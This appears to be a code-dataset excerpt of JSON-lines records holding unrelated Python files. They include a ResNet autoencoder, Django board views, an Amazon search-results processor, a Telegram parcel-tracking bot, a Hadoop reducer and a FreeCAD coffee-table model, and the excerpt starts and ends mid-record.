block='b')\n x = identity_block(x, 3,\n [i**2*c.convo_size, i**2*c.convo_size, 4*i**2*c.convo_size],\n stage=i, block='c')\n [print(k, v) for k, v in net.items()]\n print('\\nAfter compression', x, '\\n')\n \n # DECOMPRESS\n print('DECOMPRESSION')\n for i in range(c.n_compress_block, 0, -1):\n print(i, end=' ')\n print(x.get_shape().as_list(), '-> ', end='')\n x = deconv_block(x, 3,\n [i**2*c.convo_size, i**2*c.convo_size, 4*i**2*c.convo_size],\n stage=i, block='a_incr')\n print(x.get_shape().as_list())\n x = Concatenate(axis=2)([net[i], x])\n x = identity_block(x, 3,\n [i**2*c.convo_size, i**2*c.convo_size, 4*i**2*c.convo_size],\n stage=i, block='b_incr')\n x = identity_block(x, 3,\n [i**2*c.convo_size, i**2*c.convo_size, 4*i**2*c.convo_size],\n stage=i, block='c_incr')\n print(x.get_shape().as_list(), '-> ', end='')\n x = deconv_block(x, 3,\n [i**2*c.convo_size, i**2*c.convo_size, 4*i**2*c.convo_size],\n stage=42, block='a_incr')\n x = identity_block(x, 3,\n [i**2*c.convo_size, i**2*c.convo_size, 4*i**2*c.convo_size],\n stage=42, block='c_incr')\n print(x.get_shape().as_list())\n x = Conv1D(1, 1, strides=1, padding='same')(x)\n x = Reshape((-1,))(x)\n signal_output = Activation('tanh')(x)\n print('Recovered tensor', signal_output)\n # Create model.\n model = Model(signal_input, signal_output)\n\n return model\n\n","repo_name":"cutlass90/arvi_course","sub_path":"week4/resnet50.py","file_name":"resnet50.py","file_ext":"py","file_size_in_byte":11255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"19074859299","text":"from django.shortcuts import render, redirect\nfrom .models import Board\nfrom .forms import BoardForm\nfrom users.models import Users\nfrom django.core.paginator import Paginator\nfrom django.http import Http404\nfrom tag.models import Tag\n\n\ndef board_write(request):\n if not request.session.get('user'):\n return redirect('/users/login')\n\n if request.method == \"GET\":\n form = BoardForm()\n\n elif request.method == \"POST\":\n form = BoardForm(request.POST)\n if form.is_valid():\n user_id = request.session.get('user')\n user = Users.objects.get(pk = user_id)\n new_board = Board(\n title = form.cleaned_data['title'],\n contents = form.cleaned_data['contents'],\n writer = user\n )\n new_board.save()\n\n ### 태그 추가 부분 ###\n tags = form.cleaned_data['tag'].split(',')\n for tag in tags:\n if not tag : \n continue\n else:\n tag = tag.strip()\n tag_, created = Tag.objects.get_or_create(name = tag)\n new_board.tag.add(tag_)\n\n\n return redirect('/board/list')\n\n return render(request, 'board_write.html', {'form' :form})\n\ndef board_list(request):\n all_boards = Board.objects.all().order_by('-id')\n page = int(request.GET.get('p', 1))\n paginator = Paginator(all_boards, 6)\n boards = paginator.get_page(page)\n return render(request, 'board_list.html', {'boards':boards})\n\n\ndef board_detail(request, pk):\n try:\n board = Board.objects.get(pk=pk)\n except Board.DoesNotExist:\n raise Http404('해당 게시물을 찾을 수 없습니다.')\n return render(request, 'board_detail.html', {'board' : board})\n\n","repo_name":"thisisziihee/djangoCommunity","sub_path":"board/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1808,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"72434820092","text":"import logging\nfrom adm import to_int\nfrom adm.ad_manager import ADManager\nfrom dateutil.relativedelta import relativedelta\nfrom datetime import datetime\nfrom adm.jobs.workshop.commom_bjh import get_cybos7254\nfrom .html.nws01_html import get_row_html, get_html\nfrom adm.jobs import (\n get_dealing_str,\n get_kor_name,\n circle_symbol,\n get_size_str,\n get_size_symbol,\n)\n\nlogger = logging.getLogger(__name__)\n\n\nclass Contents(ADManager):\n def __init__(self):\n super().__init__()\n self.dealing_type = None\n self.subject = None\n self.sort = None\n self.period_len = None\n\n def set_analysis_target(self):\n columns = [\"stk_code\", \"stk_name\", \"period_len\"]\n\n row = self.data_db_mgr.get_essential_info_data(\n self.analysis_type, columns, self.deal_date, self.info_seq\n )\n self.period_len = row[\"period_len\"]\n self.stock_name = row[\"stk_name\"]\n self.stock_code = row[\"stk_code\"]\n\n self.rep_image = f\"https://dev.thinkpool.com/item/{self.stock_code}/trend\"\n\n def make_news_info(self):\n news_title_list = [\n {\"text\": f\"{self.stock_name},\", \"color\": None},\n {\"text\": f\"오늘 시장 관심 집중\", \"color\": \"red\"},\n ]\n return {\"news_title\": news_title_list}\n\n def make_news_cnts(self):\n rows = self.get_news_issue()\n row_html = get_row_html(rows)\n\n news_cnts = get_html(row_html)\n return {\"news_cnts\": news_cnts}\n\n def get_news_issue(self):\n sql = f\"\"\"\n select stk_name,datedeal, title_part2 as title, cnt \n from nws01\n where period_len ='{self.period_len}'\n and cnt >=5\n AND ROWNUM <= 6\n order by datedeal asc, cnt desc\n \"\"\"\n rows = self.data_db_mgr.get_all_rows(sql)\n x = []\n if not rows:\n return x\n for r in rows:\n row = {\n \"stkcode\": r[0],\n \"datedeal\": r[1],\n \"title\": r[2],\n \"cnt\": r[3],\n }\n x.append(row)\n return x\n","repo_name":"johnbaek12025/module_contents_system","sub_path":"adm/jobs/nws01.py","file_name":"nws01.py","file_ext":"py","file_size_in_byte":2186,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"22243668601","text":"import pandas as pd\nfrom datetime import datetime, timedelta\nfrom helper import get_region_name\nfrom GlobalVariables import ORGANIC_TABLE_NAME\nfrom core.AmazonHandler import AmazonHandler\nimport requests\n\nOUTPUT_COLUMN_LIST = ['Search From','Search Keyword','Search Region','Search Datetime','Result Rank',\\\n\t\t\t\t\t 'ASIN','Product Title','Product Ratings','Product Reviews','Product Is Prime','Product Sponsored',\\\n\t\t\t\t\t 'Product Sale Price','Product Marked Price','Product Stock Info','Product Coupon Info','Product Shipping Info','Product More Buy Info']\n\nclass OrganicResultsHandler(AmazonHandler):\n\n\tdef __init__(self, engine, client, client_file_name):\n\t\tAmazonHandler.__init__(self, engine, client, 'serp_results','OrganicResults', OUTPUT_COLUMN_LIST, ORGANIC_TABLE_NAME, client_file_name)\n\n\tdef get_asin_from_url(self, url):\n\t\tif url.startswith('/gp'):\n\t\t\trequests_url = 'https://www.amazon.com' + url\n\t\t\ttry:\n\t\t\t\tresp = requests.get(requests_url, timeout=30)\n\t\t\texcept:\n\t\t\t\treturn ''\n\t\t\turl = resp.url\n\t\treturn url.split('dp/')[1].split('/')[0]\n\n\tdef get_computed_df(self, file_path, file, region):\n\t\tfile = file.split('.')[0]\n\t\tdf = pd.read_csv(file_path, sep='\\t')\n\t\tdf['Query'] = file.split('--')[0]\n\t\t# df['Query'] = df['Query'].str.replace('_',' ')\n\t\t\n\t\t# Convert GMT to EST\n\t\tdate_time_stamp = file.split('--')[1].split('_serp_result')[0]\n\t\tdate_time_obj = datetime.strptime(date_time_stamp, \"%d_%m_%Y__%H_%M_%S\")\n\t\test_date_time_obj = date_time_obj - timedelta(hours=5)\n\t\tdf['Search Datetime'] = est_date_time_obj.strftime('%m-%d-%Y:%H:%M:%S')\n\n\t\tdf['rating'] = df['rating'].apply(lambda x: x.split(' ')[0] if type(x)!=float else x)\n\t\tdf['total_ratings'] = df['total_ratings'].astype(str).fillna(value='')\n\t\tdf['total_ratings'] = df['total_ratings'].str.replace(',','')\n\t\tdf['ASIN'] = df['url'].apply(self.get_asin_from_url)\t\t# Redirection needed\n\n\t\tdf.rename(columns=\n\t\t\t\t\t{\t\n\t\t\t\t\t\t'Query' : 'Search Keyword',\n\t\t\t\t\t\t'name' : 'Product Title',\n\t\t\t\t\t\t'rating' : 'Product Ratings',\n\t\t\t\t\t\t'total_ratings' : 'Product Reviews',\n\t\t\t\t\t\t'sale_price' :'Product Sale Price',\n\t\t\t\t\t\t'marked_price' : 'Product Marked Price',\n\t\t\t\t\t\t'prime_info' : 'Product Is Prime',\n\t\t\t\t\t\t'sponsored' : 'Product Sponsored',\n\t\t\t\t\t\t'stock_info' : 'Product Stock Info',\n\t\t\t\t\t\t'coupon_info' : 'Product Coupon Info',\n\t\t\t\t\t\t'shipping_info' : 'Product Shipping Info',\n\t\t\t\t\t\t'more_buy_info' : 'Product More Buy Info',\n\t\t\t\t\t\t},\n\n\t\t\t\t\tinplace=True)\n\n\t\ttotal_product_count = len(df)\n\t\tdf['Result Rank'] = range(1, total_product_count+1)\n\t\tdf['Search Region'] = get_region_name(region)\n\t\tdf['Search From'] = 'Desktop'\n\t\tdf = df[OUTPUT_COLUMN_LIST]\n\t\treturn df\n\n","repo_name":"rohanneps/django","sub_path":"prospect_web_application/cron_post_processor/amazon/core/step7_generate_OrganicResults_pc.py","file_name":"step7_generate_OrganicResults_pc.py","file_ext":"py","file_size_in_byte":2634,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"27789824522","text":"import logging\nimport json\nfrom telegram.ext import Updater, CommandHandler\nfrom TrackInpostParcel import TrackInpostParcel\nfrom TrackParcelPP import TrackParcelPP\nfrom TrackDHLParcel import TrackDHLParcel\nfrom sys import argv as arg\nfrom time import sleep\nfrom threading import Thread\n\ndef check_parcels_daemon(updater, parcels, update_interval):\n while True:\n if len(parcels) > 0:\n for user_id in parcels:\n for tracking_number in parcels[user_id]:\n carrier = parcels[user_id][tracking_number][0]\n\n try:\n tracker = create_tracker(carrier, tracking_number)\n except UnboundLocalError:\n continue\n\n info = tracker.get_tracking_history()\n\n if info != parcels[user_id][tracking_number][1]:\n parcels[user_id][tracking_number][1] = info\n updater.bot.sendMessage(chat_id=user_id, text=\"Package %s new status is:\\n%s\" % (tracking_number, tracker.get_current_status()))\n\n with open(\"parcels.json\", 'w') as f:\n json.dump(parcels, f)\n\n logger.log(20, \"Parcels updated\")\n\n sleep(update_interval)\n \n else:\n logger.log(20, \"Parcels not updated - there are no parcels\")\n sleep(update_interval)\n\n\ndef create_tracker(carrier, tracking_number):\n if \"poczta\" in carrier.lower() or \"pp\" in carrier.lower():\n return TrackParcelPP(tracking_number)\n elif \"inpost\" in carrier.lower():\n return TrackInpostParcel(tracking_number)\n elif \"dhl\" in carrier.lower():\n if DHL_API_KEY == None:\n raise UnboundLocalError(\"Carrier not supported\")\n else:\n return TrackDHLParcel(tracking_number, DHL_API_KEY)\n else:\n raise UnboundLocalError(\"Carrier not supported\")\n\n\ndef start(update, context):\n text = \"Welcome! You can see status of your parcel with /status <tracking number> <carrier> command.\"\n update.message.reply_text(text)\n carriers(update, context)\n text2 = \"Use /help to see all available commands\"\n update.message.reply_text(text2)\n\n\ndef help(update, context):\n # Don't look at this\n line1 = \"/start - see welcome message\"\n line2 = \"\\n/help - see this message\"\n line3 = \"\\n/carriers - list supported carriers\"\n line4 = \"\\n/status <tracking number> <carrier> - see current parcel status\"\n line5 = \"\\n/track_history <tracking_number> <carrier> - see history of parcel\"\n\n # Nothing to see here\n text = line1 + line2 + line3 + line4 + line5\n\n update.message.reply_text(text)\n\n\ndef carriers(update, context):\n line1 = \"Currently supported carriers:\"\n line2 = \"\\n\\t- Poczta Polska (you can short it to 'pp')\"\n line3 = \"\\n\\t- InPost\"\n line4 = \"\\nYou don't have to capitalize letters (inpost will be recognized as InPost)\"\n\n text = line1 + line2 + line3 + line4\n\n update.message.reply_text(text)\n\n\ndef error(update, context):\n logger.warning('Update %s caused error \"%s\"' % (update, context.error))\n\n\ndef save(update, context):\n user_id = update.message.from_user['id']\n\n if len(context.args) >= 2:\n tracking_number = context.args[0]\n\n carrier = \"\"\n\n if len(context.args) == 2:\n carrier = context.args[1]\n else:\n for i in range(1, len(context.args)-1):\n carrier = carrier + context.args[i] + \" \"\n else:\n return update.message.reply_text('No tracking number/carrier provided.\\nUse /status <tracking_number> <carrier>')\n\n try:\n tracker = create_tracker(carrier, tracking_number)\n except UnboundLocalError:\n return update.message.reply_text(\"Carrier %s is not supported.\" % carrier)\n\n if user_id in parcels:\n if tracking_number in parcels[user_id]:\n update.message.reply_text(\"Parcel already exists\")\n return\n else:\n parcels[user_id][tracking_number] = [carrier, tracker.get_tracking_history()]\n else:\n parcels[user_id] = {tracking_number: [carrier, tracker.get_tracking_history()]}\n\n logger.log(20, \"Updated parcels info: \\n%s\" % parcels)\n\n update.message.reply_text(\"Parcel info saved\")\n update.message.reply_text(\"Current parcel status:\\n\" + tracker.get_current_status())\n\n\ndef status(update, context):\n if len(context.args) >= 2:\n tracking_number = context.args[0]\n\n carrier = \"\"\n\n if len(context.args) == 2:\n carrier = context.args[1]\n else:\n for i in range(1, len(context.args)-1):\n carrier = carrier + context.args[i] + \" \"\n else:\n return update.message.reply_text('No tracking number/carrier provided.\\nUse /status <tracking_number> <carrier>') \n \n try:\n tracker = create_tracker(carrier, tracking_number)\n except UnboundLocalError:\n return update.message.reply_text(\"Carrier %s is not supported.\" % carrier)\n\n update.message.reply_text(tracker.get_current_status())\n\n\ndef track_history(update, context):\n if len(context.args) >= 2:\n tracking_number = context.args[0]\n carrier = \"\"\n\n if len(context.args) == 2:\n carrier = context.args[1]\n else:\n for i in range(1, len(context.args)-1):\n carrier = carrier + context.args[i] + \" \"\n else:\n return update.message.reply_text('No tracking number/carrier provided.\\nUse /status <tracking_number> <carrier>') \n \n try:\n tracker = create_tracker(carrier, tracking_number)\n except UnboundLocalError:\n return update.message.reply_text(\"Carrier %s is not supported.\" % carrier)\n\n info = tracker.get_tracking_history()\n update.message.reply_text(info)\n\n\ndef main(BOT_KEY):\n updater = Updater(BOT_KEY, use_context=True)\n dp = updater.dispatcher\n\n logger.log(20, \"DHL API key: %s\" % DHL_API_KEY)\n logger.log(20, \"Telegram bot key: %s\" % BOT_KEY)\n\n dp.add_handler(CommandHandler(\"start\", start))\n dp.add_handler(CommandHandler(\"help\", help))\n dp.add_handler(CommandHandler(\"carriers\", carriers))\n dp.add_handler(CommandHandler(\"status\", status))\n dp.add_handler(CommandHandler(\"track_history\", track_history))\n dp.add_handler(CommandHandler(\"save\", save))\n dp.add_error_handler(error)\n\n updater.start_polling()\n\n # Starting daemon\n parcelDaemon = Thread(target=check_parcels_daemon(updater, parcels, UPDATE_INTERVAL))\n parcelDaemon.setDaemon(True)\n parcelDaemon.start()\n\n\nif __name__ == '__main__':\n UPDATE_INTERVAL = 30 # How often bot will check for updates (in minutes)\n UPDATE_INTERVAL *= 60\n\n try:\n DHL_API_KEY = arg[2]\n except IndexError:\n DHL_API_KEY = None\n\n # Logger config\n logging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', level=logging.INFO)\n logger = logging.getLogger(__name__)\n\n \"\"\"\n parcels = {\n '<user id>': {\n '<tracking_number>': [<carrier>, </track_history output>],\n ...\n },\n ...\n }\n \"\"\"\n\n try:\n with open(\"parcels.json\", 'r') as f:\n parcels = json.load(f)\n logger.log(20, \"Parcels:\\n%s\" % parcels)\n except FileNotFoundError:\n parcels = {}\n open(\"parcels.json\", 'a').close()\n\n\n try:\n if len(arg) > 2:\n main(arg[1])\n else:\n logger.log(20, \"DHL tracking is disabled\")\n main(arg[1]) \n except IndexError:\n logger.error(\"No bot token given.\\nUsage: python3 main.py <bot token> <dhl api key>\")\n","repo_name":"Maciek-Hetman/telegram-pl-tracking-bot","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7608,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"22259257021","text":"import sys\n\n\ndef print_elements(endpoints):\n for node in endpoints:\n print(node, endpoints.get(node)[0], endpoints.get(node)[1], sep='\\t')\n\n\ndef get_source():\n dist = dict()\n endpoints = dict()\n\n for line in sys.stdin:\n line = line.replace('\\n', '')\n node, distance_origin, nodes_to = line.split('\\t')\n if (node in dist) and \\\n (distance_origin != 'INF') and \\\n (int(distance_origin) < int(dist.get(node))):\n dist.update({node: distance_origin})\n elif node not in dist:\n dist.update({node: distance_origin})\n\n if (node in endpoints) and \\\n (endpoints.get(node)[1] != '') and \\\n (nodes_to != '{}'):\n endpoints.update({node: (dist.get(node), nodes_to)})\n elif (node in endpoints) and \\\n (dist.get(node) != 'INF') and \\\n (endpoints.get(node)[0] != 'INF') and \\\n (int(dist.get(node)) < int(endpoints.get(node)[0])):\n endpoints.update({node: (dist.get(node), endpoints.get(node)[1])})\n elif node not in endpoints:\n endpoints.update({node: (dist.get(node), nodes_to)})\n\n print_elements(endpoints)\n\n\nif __name__ == '__main__':\n get_source()\n","repo_name":"AlexKlein/stepik_hadoop","sub_path":"project/graph/bfs/reducer.py","file_name":"reducer.py","file_ext":"py","file_size_in_byte":1268,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"73663292412","text":"#!/usr/bin/env python2\n\nimport math\nimport os\nimport sys\n\nsys.path.append(\"/usr/lib/freecad-daily/lib\") # change this by your own FreeCAD lib path import FreeCAD\nimport FreeCAD\nfrom FreeCAD import Base, Part\n\nimport designconfigurator as dc\n\ndef glasstop(d, dressup=True):\n m = Part.makeBox(d[\"length\"], d[\"width\"], d[\"glass_t\"])\n m.translate(Base.Vector(-d[\"length\"]/2, -d[\"width\"]/2, -d[\"glass_t\"]))\n\n if dressup:\n m = dc.model.chamfer_edges_longer_than(m, 2, 100)\n\n return m\n\ndef tabletop(d, dressup=True):\n r3 = 60# d[\"tabletop_r3\"]\n s1 = d[\"tabletop_s1\"]\n s2 = -100#d[\"tabletop_s2\"]\n s3 = d[\"tabletop_s3\"]\n x2 = (d[\"length\"] - 120) / 2.0\n x1 = x2 - r3\n y1 = (d[\"width\"] - 120) / 2.0\n y2 = y1 - r3\n\n p = [None] * 17\n\n p[0] = Base.Vector(-x1, y1, 0)\n p[2] = Base.Vector( x1, y1, 0)\n p[4] = Base.Vector( x2, y2, 0)\n p[6] = Base.Vector( x2, -y2, 0)\n p[8] = Base.Vector( x1, -y1, 0)\n p[10] = Base.Vector(-x1, -y1, 0)\n p[12] = Base.Vector(-x2, -y2, 0)\n p[14] = Base.Vector(-x2, y2, 0)\n p[16] = Base.Vector(-x1, y1, 0)\n\n p[1] = dc.model.sagpoint_by_r(p[0], p[2], -2500)\n p[3] = dc.model.sagpoint_by_r(p[2], p[4], s2)\n p[5] = dc.model.sagpoint(p[4], p[6], s3)\n p[7] = dc.model.sagpoint_by_r(p[6], p[8], s2)\n p[9] = dc.model.sagpoint_by_r(p[8], p[10], -2500)\n p[11] = dc.model.sagpoint_by_r(p[10], p[12], s2)\n p[13] = dc.model.sagpoint(p[12], p[14], s3)\n p[15] = dc.model.sagpoint_by_r(p[14], p[0], s2)\n\n face = Part.Face(Part.Wire(dc.model.create_arcs(p)))\n m = face.extrude(Base.Vector(0, 0, d[\"tabletop_t\"]))\n m = dc.model.fillet_edges_by_length(m, 20, d[\"tabletop_t\"])\n\n hx = d[\"length\"] / 2.0 - math.sqrt((d[\"cx\"]**2) / 2.0)\n hy = d[\"width\"] / 2.0 - math.sqrt((d[\"cx\"]**2) / 2.0)\n\n print(\"Holes: x distance\", hx*2)\n print(\"Holes: y distance\", hy*2)\n print(\"Holes: diagonal distance\", math.sqrt((hx*2)**2 + (hy*2)**2))\n\n hole_points = [ Base.Vector( hx, hy, 0),\n Base.Vector(-hx, hy, 0),\n Base.Vector(-hx, -hy, 0),\n Base.Vector( hx, -hy, 0)]\n\n a = 45\n for p in hole_points:\n hole = Part.makeCylinder(d[\"hole_dia_tabletop\"] / 2.0, d[\"tabletop_t\"], p, Base.Vector(0, 0, 1), 360)\n insert = Part.makeBox(d[\"leg_t\"], d[\"insertion_width\"], d[\"insertion_length\"])\n insert = dc.model.fillet_edges_by_length(insert, 5, d[\"insertion_length\"])\n insert.translate(Base.Vector(-d[\"leg_t\"] / 2.0, -d[\"insertion_width\"] / 2.0, 0))\n insert.rotate(Base.Vector(0,0,0), Base.Vector(0,0,1), -a)\n insert.translate(p)\n m = m.cut(hole).cut(insert)\n a = a + 90\n\n if dressup:\n m = dc.model.fillet_edges_longer_than(m, 7, 300)\n\n m.translate(Base.Vector(0, 0, -d[\"tabletop_t\"]))\n return m\n\ndef leg(d, dressup=True):\n corner_protection = 14\n s1 = d[\"leg_s1\"]\n s2 = d[\"leg_s2\"]\n s3 = d[\"leg_s3\"]\n s4 = d[\"leg_s4\"]\n\n x0 = d[\"cx\"] + d[\"insertion_width\"]/2.0 + corner_protection\n x1 = d[\"cx\"] - d[\"insertion_width\"]/2.0 + corner_protection\n x2 = x1 - 25\n x3 = 100\n x4 = 80\n x5 = x3 - 55\n\n y0 = d[\"height\"]\n y2 = d[\"height_1\"] - d[\"tabletop_t\"] + d[\"insertion_length\"]\n y1 = y2 - 12\n y3 = y2 - d[\"insertion_length\"]\n y5 = d[\"height_2\"] - d[\"insertion_length\"]\n y4 = y5 + d[\"insertion_length\"]\n y6 = y5 + 12\n y7 = y0 - 30\n\n p = [None] * 19\n p[0] = Base.Vector( 0, y0, 0)\n p[1] = Base.Vector( x4, y0, 0)\n\n p[3] = Base.Vector( x2, y1, 0)\n p[4] = Base.Vector( x1, y1, 0)\n p[5] = Base.Vector( x1, y2, 0)\n p[6] = Base.Vector( x0, y2, 0)\n p[7] = Base.Vector( x0, y3, 0)\n\n p[9] = Base.Vector( x0, y4, 0)\n p[10] = Base.Vector( x0, y5, 0)\n p[11] = Base.Vector( x1, y5, 0)\n p[12] = Base.Vector( x1, y6, 0)\n p[13] = Base.Vector( x2, y6, 0)\n\n p[15] = Base.Vector( x3, 0, 0)\n p[16] = Base.Vector( x5, 0, 0)\n\n p[18] = Base.Vector( 0, y7, 0)\n\n p[2] = dc.model.sagpoint(p[1], p[3], s1)\n p[8] = dc.model.sagpoint(p[7], p[9], s2)\n p[14] = dc.model.sagpoint(p[13], p[15], s3)\n p[17] = dc.model.sagpoint(p[16], p[18], s4)\n\n wire = [\n Part.makeLine(p[0], p[1]),\n dc.model.makeArc(p[1:4]),\n Part.makeLine(p[3], p[4]),\n Part.makeLine(p[4], p[5]),\n Part.makeLine(p[5], p[6]),\n Part.makeLine(p[6], p[7]),\n dc.model.makeArc(p[7:10]),\n Part.makeLine(p[9], p[10]),\n Part.makeLine(p[10], p[11]),\n Part.makeLine(p[11], p[12]),\n Part.makeLine(p[12], p[13]),\n dc.model.makeArc(p[13:16]),\n Part.makeLine(p[15], p[16]),\n dc.model.makeArc([p[16], p[17], p[18]]),\n Part.makeLine(p[18], p[0])]\n\n face = Part.Face(Part.Wire(wire))\n m = face.extrude(Base.Vector(0, 0, d[\"leg_t\"]))\n\n m = dc.model.fillet_edge_xy(m, 100, p[18])\n m = dc.model.fillet_edge_xy(m, 20, p[3])\n m = dc.model.fillet_edge_xy(m, 8, p[4])\n m = dc.model.fillet_edge_xy(m, 8, p[12])\n m = dc.model.fillet_edge_xy(m, 20, p[13])\n\n m.rotate(Base.Vector(0,0,0), Base.Vector(1,0,0), 90)\n m.translate(Base.Vector(-corner_protection, d[\"leg_t\"] / 2.0, 0))\n\n hole = Part.makeCylinder(d[\"hole_dia_leg\"] / 2.0, d[\"height\"], Base.Vector(d[\"cx\"], 0, 0), Base.Vector(0, 0, 1), 360)\n m = m.cut(hole)\n corner_cutout = Part.makeBox(4.0*d[\"leg_t\"], 4.0*d[\"leg_t\"], d[\"glass_t\"] + 2.0)\n corner_cutout.rotate(Base.Vector(0,0,0), Base.Vector(0,0,1), -45.0)\n corner_cutout.translate(Base.Vector(-2, 0, d[\"height\"] - d[\"glass_t\"] - 2.0))\n m = m.cut(corner_cutout)\n\n if dressup:\n m = dc.model.fillet_edges_longer_than(m, 7, 100)\n\n return m\n\ndef coffetable_assy(d):\n # The glass tabletop\n gt1 = glasstop(d)\n gt1.translate(Base.Vector(0, 0, d[\"height\"]))\n\n # The upper oak tabletop\n tt1 = tabletop(d)\n tt1.translate(Base.Vector(0, 0, d[\"height_1\"]))\n\n # The lower oak tabletop\n tt2 = tabletop(d)\n tt2.rotate(Base.Vector(0,0,0), Base.Vector(1,0,0), 180)\n tt2.translate(Base.Vector(0, 0, d[\"height_2\"] - d[\"tabletop_t\"]))\n\n # The first leg\n leg1 = leg(d)\n leg1.rotate(Base.Vector(0,0,0), Base.Vector(0,0,1), 225)\n leg1.translate(Base.Vector( d[\"length\"] / 2.0, d[\"width\"] / 2.0, 0))\n\n # The second leg\n leg2 = leg(d)\n leg2.rotate(Base.Vector(0,0,0), Base.Vector(0,0,1), 315)\n leg2.translate(Base.Vector(-d[\"length\"] / 2.0, d[\"width\"] / 2.0, 0))\n\n # The third leg\n leg3 = leg(d)\n leg3.rotate(Base.Vector(0,0,0), Base.Vector(0,0,1), 45)\n leg3.translate(Base.Vector(-d[\"length\"] / 2.0, -d[\"width\"] / 2.0, 0))\n\n # The fourth leg\n leg4 = leg(d)\n leg4.rotate(Base.Vector(0,0,0), Base.Vector(0,0,1), 135)\n leg4.translate(Base.Vector( d[\"length\"] / 2.0, -d[\"width\"] / 2.0, 0))\n\n doc = dc.common.create_doc()\n dc.common.add_model(doc, gt1, \"glassTop\")\n dc.common.add_model(doc, tt1, \"upperTableTop\")\n dc.common.add_model(doc, tt2, \"lowerTableTop\")\n dc.common.add_model(doc, leg1, \"leg1\")\n dc.common.add_model(doc, leg2, \"leg2\")\n dc.common.add_model(doc, leg3, \"leg3\")\n dc.common.add_model(doc, leg4, \"leg4\")\n\n doc.saveAs(dc.common.fn(d, \"assy\") + \".fcstd\")\n\ndef glasstop_drw(d):\n # The glass tabletop\n gt1 = glasstop(d)\n doc = dc.common.create_doc()\n dc.common.add_model(doc, gt1, \"glassTop\")\n doc.saveAs(dc.common.fn(d, \"glasstop\") + \".fcstd\")\n\ndef tabletop_drw(d):\n # The oak tabletop\n tt1 = tabletop(d, dressup=False)\n doc = dc.common.create_doc()\n m = dc.common.add_model(doc, tt1, \"tableTop\")\n #p = dc.common.add_drawing_page(doc)\n #dc.drawing.create_drawing(doc, p, m, d[\"tabletop\"])\n doc.saveAs(dc.common.fn(d, \"tabletop\") + \".fcstd\")\n\ndef leg_drw(d):\n leg1 = leg(d, dressup=False)\n doc = dc.common.create_doc()\n m = dc.common.add_model(doc, leg1, \"leg\")\n #p = dc.common.add_drawing_page(doc)\n #dc.drawing.create_drawing(doc, p, m, d[\"leg\"], viewplane=\"xz\")\n doc.saveAs(dc.common.fn(d, \"leg\") + \".fcstd\")\n\ndef build_all(user_parameters):\n d = dc.common.load_parameters(os.path.join(os.path.dirname(__file__), \"ct1_defaults.yml\"))\n d.update(user_parameters)\n coffetable_assy(d)\n #glasstop_drw(d)\n tabletop_drw(d)\n leg_drw(d)\n dc.common.writeinfo(d)\n\nif __name__ == \"__main__\":\n print(\"This file should not be run directly.\")\n","repo_name":"gntech/designconfigurator","sub_path":"designconfigurator/ct1.py","file_name":"ct1.py","file_ext":"py","file_size_in_byte":8400,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"14219740173","text":"'''\n本质还是斐波那契数列问题\n分析青蛙最后一步,只有两种可能:\n1. 剩一步台阶\n2. 剩两步台阶\n\n剩一步台阶的跳法为f(n-1)\n剩两步台阶的跳法为f(n-2)\n所以n阶台阶的跳法f(n) = f(n-1)+f(n-2)\n这里f(0)=1 f(1)=1\n\n'''\n\nclass Solution:\n def numWays(self, n: int) -> int:\n fzero = 1\n fone = 1\n for i in range(n):\n fzero, fone = fone,fone+fzero\n return fzero%1000000007","repo_name":"KyleC14/SwordToOfferPractice","sub_path":"code/Question10-2/Solution1.py","file_name":"Solution1.py","file_ext":"py","file_size_in_byte":458,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"16625226936","text":"import pandas as pd\nimport random\nimport math\n\n# experience, familiarity, upper level course\nx = [\n [0.0, 0.0, 0.0], [0, 0, 1], [0, 1, 0], [0, 1, 1],\n [1, 0, 0], [1, 0, 1], [1, 1, 0], [1, 1, 1],\n [2, 0, 0], [2, 0, 1], [2, 1, 0], [2, 1, 1],\n [3, 0, 0], [3, 0, 1], [3, 1, 0], [3, 1, 1],\n\n]\n\n\n# expected output as a level\nlevels = [\n 0, 1, 1, 2,\n 1, 2, 2, 2,\n 3, 3, 3, 3,\n 3, 3, 4, 4\n]\n\n\ndf = pd.read_csv('historic_data_sample.csv', index_col='id')\n\nfor r, row in df.iterrows():\n if math.isnan(row['init_level']):\n vals =row[['experience','block_fam','course_code']].to_numpy().tolist()\n vals = [ int(x) for x in vals ]\n #print(vals)\n i = x.index(vals)\n level = levels[i]\n df.at[r, 'init_level'] = level\n errors = random.randint(0, 5)\n actual_level = level\n if (errors > 2 and level > 1):\n actual_level-=1\n\n\n df.at[r, 'errors'] = errors\n df.at[r, 'adjust_level'] = actual_level\n else:\n print(\"skipping row \", r)\n\n\ndf.to_csv('./historic_data_sample.csv')\n","repo_name":"nadiagoralski/csci6100g-ml-cold-start","sub_path":"cold-start-optimization/generate_random_data.py","file_name":"generate_random_data.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"19148266704","text":"import os\nimport sys\nimport argparse\nimport numpy as np\n\nimport torch\nfrom torch.utils.data import DataLoader\n\nfrom configs.parser import YAMLParser\nfrom dataloader.h5 import H5Loader\nfrom models.model import FireFlowNet, EVFlowNet\nfrom models.model import FireNet, E2VID\nfrom utils.utils import load_model\nfrom utils.visualization import Visualization\n\n\ndef test(args, config_parser):\n config = config_parser.merge_configs(args.trained_model)\n config[\"loader\"][\"batch_size\"] = 1\n config[\"vis\"][\"bars\"] = True\n\n # store validation settings\n eval_id = config_parser.log_eval_config(config)\n\n # initialize settings\n device = config_parser.device\n kwargs = config_parser.loader_kwargs\n num_bins = 